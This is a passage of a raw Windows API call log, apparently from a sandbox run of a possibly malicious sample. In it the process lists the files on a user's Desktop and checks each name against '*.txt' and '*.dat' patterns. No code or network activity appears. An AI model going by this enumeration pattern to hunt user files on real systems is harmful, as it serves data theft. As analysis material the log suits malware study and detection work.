cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0146.305] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236ab58 | out: hHeap=0x2360000) returned 1 [0146.305] PathMatchSpecW (pszFile="vL0v.flv", pszSpec="*.txt") returned 0 [0146.305] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.305] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f5e49e0, ftCreationTime.dwHighDateTime=0x1d7a2c9, ftLastAccessTime.dwLowDateTime=0x2d0e0cb0, ftLastAccessTime.dwHighDateTime=0x1d7aa75, ftLastWriteTime.dwLowDateTime=0x2d0e0cb0, ftLastWriteTime.dwHighDateTime=0x1d7aa75, nFileSizeHigh=0x0, nFileSizeLow=0x62a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="X84p.png", cAlternateFileName="")) returned 1 [0146.306] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.306] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.306] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="X84p.png" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\X84p.png") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\X84p.png" [0146.306] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.306] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.306] lstrcatW (in: lpString1="\\", lpString2="X84p.png" | out: lpString1="\\X84p.png") returned="\\X84p.png" [0146.306] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2362780 [0146.306] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\X84p.png", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0146.306] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x28) returned 0x23632b8 [0146.306] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\X84p.png", cchWideChar=40, lpMultiByteStr=0x23632b8, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\X84p.png", lpUsedDefaultChar=0x0) returned 40 [0146.306] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x33400d0 [0146.307] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23632b8 | out: hHeap=0x2360000) returned 1 [0146.307] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2362780 | out: hHeap=0x2360000) returned 1 [0146.307] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.307] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236abe8 [0146.307] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x236abe8, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0146.307] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236abe8 | out: hHeap=0x2360000) returned 1 [0146.307] PathMatchSpecW (pszFile="X84p.png", pszSpec="*.txt") returned 0 [0146.307] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.307] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61282b70, ftCreationTime.dwHighDateTime=0x1d7a32c, ftLastAccessTime.dwLowDateTime=0x5db41480, ftLastAccessTime.dwHighDateTime=0x1d7aa99, ftLastWriteTime.dwLowDateTime=0x5db41480, ftLastWriteTime.dwHighDateTime=0x1d7aa99, nFileSizeHigh=0x0, nFileSizeLow=0x50e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ym5Tg.wav", cAlternateFileName="")) returned 1 [0146.307] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.307] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.307] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="Ym5Tg.wav" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Ym5Tg.wav") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Ym5Tg.wav" [0146.307] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.307] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.307] lstrcatW (in: lpString1="\\", lpString2="Ym5Tg.wav" | out: lpString1="\\Ym5Tg.wav") returned="\\Ym5Tg.wav" [0146.307] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x60) returned 0x23604e8 [0146.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Ym5Tg.wav", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0146.307] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x29) returned 0x2360550 [0146.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Ym5Tg.wav", cchWideChar=41, lpMultiByteStr=0x2360550, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Ym5Tg.wav", lpUsedDefaultChar=0x0) returned 41 [0146.307] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x33400d0 [0146.307] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2360550 | out: hHeap=0x2360000) returned 1 [0146.308] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604e8 | out: hHeap=0x2360000) returned 1 [0146.308] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.308] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236ab58 [0146.308] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x236ab58, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0146.308] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236ab58 | out: hHeap=0x2360000) returned 1 [0146.308] PathMatchSpecW (pszFile="Ym5Tg.wav", pszSpec="*.txt") returned 0 [0146.308] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.308] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeab27590, ftCreationTime.dwHighDateTime=0x1d7aa3d, ftLastAccessTime.dwLowDateTime=0xbdc31810, ftLastAccessTime.dwHighDateTime=0x1d7af46, ftLastWriteTime.dwLowDateTime=0xbdc31810, ftLastWriteTime.dwHighDateTime=0x1d7af46, nFileSizeHigh=0x0, nFileSizeLow=0x5ea2, dwReserved0=0x0, dwReserved1=0x0, cFileName="YzUHXYWLxmgVgh-0.flv", cAlternateFileName="YZUHXY~1.FLV")) returned 1 [0146.308] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.308] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.308] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="YzUHXYWLxmgVgh-0.flv" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\YzUHXYWLxmgVgh-0.flv") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\YzUHXYWLxmgVgh-0.flv" [0146.308] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.308] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.308] lstrcatW (in: lpString1="\\", lpString2="YzUHXYWLxmgVgh-0.flv" | out: lpString1="\\YzUHXYWLxmgVgh-0.flv") returned="\\YzUHXYWLxmgVgh-0.flv" [0146.308] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x70) returned 0x23604e8 [0146.308] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\YzUHXYWLxmgVgh-0.flv", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0146.308] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x34) returned 0x32baba0 [0146.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\YzUHXYWLxmgVgh-0.flv", cchWideChar=52, lpMultiByteStr=0x32baba0, cbMultiByte=52, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\YzUHXYWLxmgVgh-0.flv", lpUsedDefaultChar=0x0) returned 52 [0146.309] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba420 [0146.309] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32baba0 | out: hHeap=0x2360000) returned 1 [0146.309] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604e8 | out: hHeap=0x2360000) returned 1 [0146.309] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.309] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236ab58 [0146.309] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x236ab58, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0146.309] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236ab58 | out: hHeap=0x2360000) returned 1 [0146.309] PathMatchSpecW (pszFile="YzUHXYWLxmgVgh-0.flv", pszSpec="*.txt") returned 0 [0146.309] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba420 | out: hHeap=0x2360000) returned 1 [0146.309] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf28e0510, ftCreationTime.dwHighDateTime=0x1d7a36f, ftLastAccessTime.dwLowDateTime=0x594c2290, ftLastAccessTime.dwHighDateTime=0x1d7a790, ftLastWriteTime.dwLowDateTime=0x594c2290, ftLastWriteTime.dwHighDateTime=0x1d7a790, nFileSizeHigh=0x0, nFileSizeLow=0x14695, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZXgj9NJ y.mp3", cAlternateFileName="ZXGJ9N~1.MP3")) returned 1 [0146.309] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.309] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.309] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="ZXgj9NJ y.mp3" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\ZXgj9NJ y.mp3") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\ZXgj9NJ y.mp3" [0146.309] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.309] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.309] lstrcatW (in: lpString1="\\", lpString2="ZXgj9NJ y.mp3" | out: lpString1="\\ZXgj9NJ y.mp3") returned="\\ZXgj9NJ y.mp3" [0146.309] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x60) returned 0x23604e8 [0146.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\ZXgj9NJ y.mp3", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0146.309] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x2d) returned 0x2360550 [0146.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\ZXgj9NJ y.mp3", cchWideChar=45, lpMultiByteStr=0x2360550, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\ZXgj9NJ y.mp3", lpUsedDefaultChar=0x0) returned 45 [0146.310] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x33400d0 [0146.310] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2360550 | out: hHeap=0x2360000) returned 1 [0146.310] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604e8 | out: hHeap=0x2360000) returned 1 [0146.310] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.310] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236ac78 [0146.310] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x236ac78, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0146.310] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236ac78 | out: hHeap=0x2360000) returned 1 [0146.310] PathMatchSpecW (pszFile="ZXgj9NJ y.mp3", pszSpec="*.txt") returned 0 [0146.310] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.310] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf28e0510, ftCreationTime.dwHighDateTime=0x1d7a36f, ftLastAccessTime.dwLowDateTime=0x594c2290, ftLastAccessTime.dwHighDateTime=0x1d7a790, ftLastWriteTime.dwLowDateTime=0x594c2290, ftLastWriteTime.dwHighDateTime=0x1d7a790, nFileSizeHigh=0x0, nFileSizeLow=0x14695, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZXgj9NJ y.mp3", cAlternateFileName="ZXGJ9N~1.MP3")) returned 0 [0146.310] FindClose (in: hFindFile=0x8823f0 | out: hFindFile=0x8823f0) returned 1 [0146.311] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.311] GetLastError () returned 0x12 [0146.311] SetLastError (dwErrCode=0x12) [0146.311] GetDriveTypeA (lpRootPathName="C:\\") returned 0x3 [0146.311] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3340650, cbMultiByte=31, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 31 [0146.311] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x3e) returned 0x32ba618 [0146.311] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3340650, cbMultiByte=31, lpWideCharStr=0x32ba618, cchWideChar=31 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned 31 [0146.311] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba8a0 [0146.311] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba618 | out: hHeap=0x2360000) returned 1 [0146.311] lstrcpyW (in: lpString1=0x19d32c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.311] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\*.*" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\*.*") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\*.*" [0146.311] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\*.*", lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x2347d81f, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x2347d81f, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8825b0 [0146.312] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.312] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.312] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\.") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\." [0146.312] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.312] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.312] lstrcatW (in: lpString1="\\", lpString2="." | out: lpString1="\\.") returned="\\." [0146.312] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0146.313] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x2347d81f, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x2347d81f, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.313] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.313] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.313] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2=".." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\..") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\.." [0146.313] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.313] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.313] lstrcatW (in: lpString1="\\", lpString2=".." | out: lpString1="\\..") returned="\\.." [0146.313] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0146.313] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0146.313] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aafd530, ftCreationTime.dwHighDateTime=0x1d7ab0e, ftLastAccessTime.dwLowDateTime=0x6ccdf970, ftLastAccessTime.dwHighDateTime=0x1d7afd2, ftLastWriteTime.dwLowDateTime=0x6ccdf970, ftLastWriteTime.dwHighDateTime=0x1d7afd2, nFileSizeHigh=0x0, nFileSizeLow=0xac6, dwReserved0=0x0, dwReserved1=0x0, cFileName="0AEOYBW.gif", cAlternateFileName="")) returned 1 [0146.313] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.313] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.313] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="0AEOYBW.gif" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\0AEOYBW.gif") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\0AEOYBW.gif" [0146.313] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.313] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.313] lstrcatW (in: lpString1="\\", lpString2="0AEOYBW.gif" | out: lpString1="\\0AEOYBW.gif") returned="\\0AEOYBW.gif" [0146.313] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x60) returned 0x23604a0 [0146.313] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\0AEOYBW.gif", cchWideChar=43, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 43 [0146.313] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x2b) returned 0x33400d0 [0146.313] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\0AEOYBW.gif", cchWideChar=43, lpMultiByteStr=0x33400d0, cbMultiByte=43, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\0AEOYBW.gif", lpUsedDefaultChar=0x0) returned 43 [0146.314] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x2360508 [0146.314] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.314] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.314] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.314] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x236ab88, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0146.314] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236ab88 | out: hHeap=0x2360000) returned 1 [0146.314] PathMatchSpecW (pszFile="0AEOYBW.gif", pszSpec="*.dat") returned 0 [0146.314] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2360508 | out: hHeap=0x2360000) returned 1 [0146.314] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb00098c0, ftCreationTime.dwHighDateTime=0x1d7a6cb, ftLastAccessTime.dwLowDateTime=0xa172ad00, ftLastAccessTime.dwHighDateTime=0x1d7ac4f, ftLastWriteTime.dwLowDateTime=0xa172ad00, ftLastWriteTime.dwHighDateTime=0x1d7ac4f, nFileSizeHigh=0x0, nFileSizeLow=0xd5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="0pw9-hL.rtf", cAlternateFileName="")) returned 1 [0146.314] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.314] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.314] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="0pw9-hL.rtf" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\0pw9-hL.rtf") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\0pw9-hL.rtf" [0146.314] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.314] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.314] lstrcatW (in: lpString1="\\", lpString2="0pw9-hL.rtf" | out: lpString1="\\0pw9-hL.rtf") returned="\\0pw9-hL.rtf" [0146.314] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\0pw9-hL.rtf", cchWideChar=43, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 43 [0146.315] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\0pw9-hL.rtf", cchWideChar=43, lpMultiByteStr=0x33400d0, cbMultiByte=43, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\0pw9-hL.rtf", lpUsedDefaultChar=0x0) returned 43 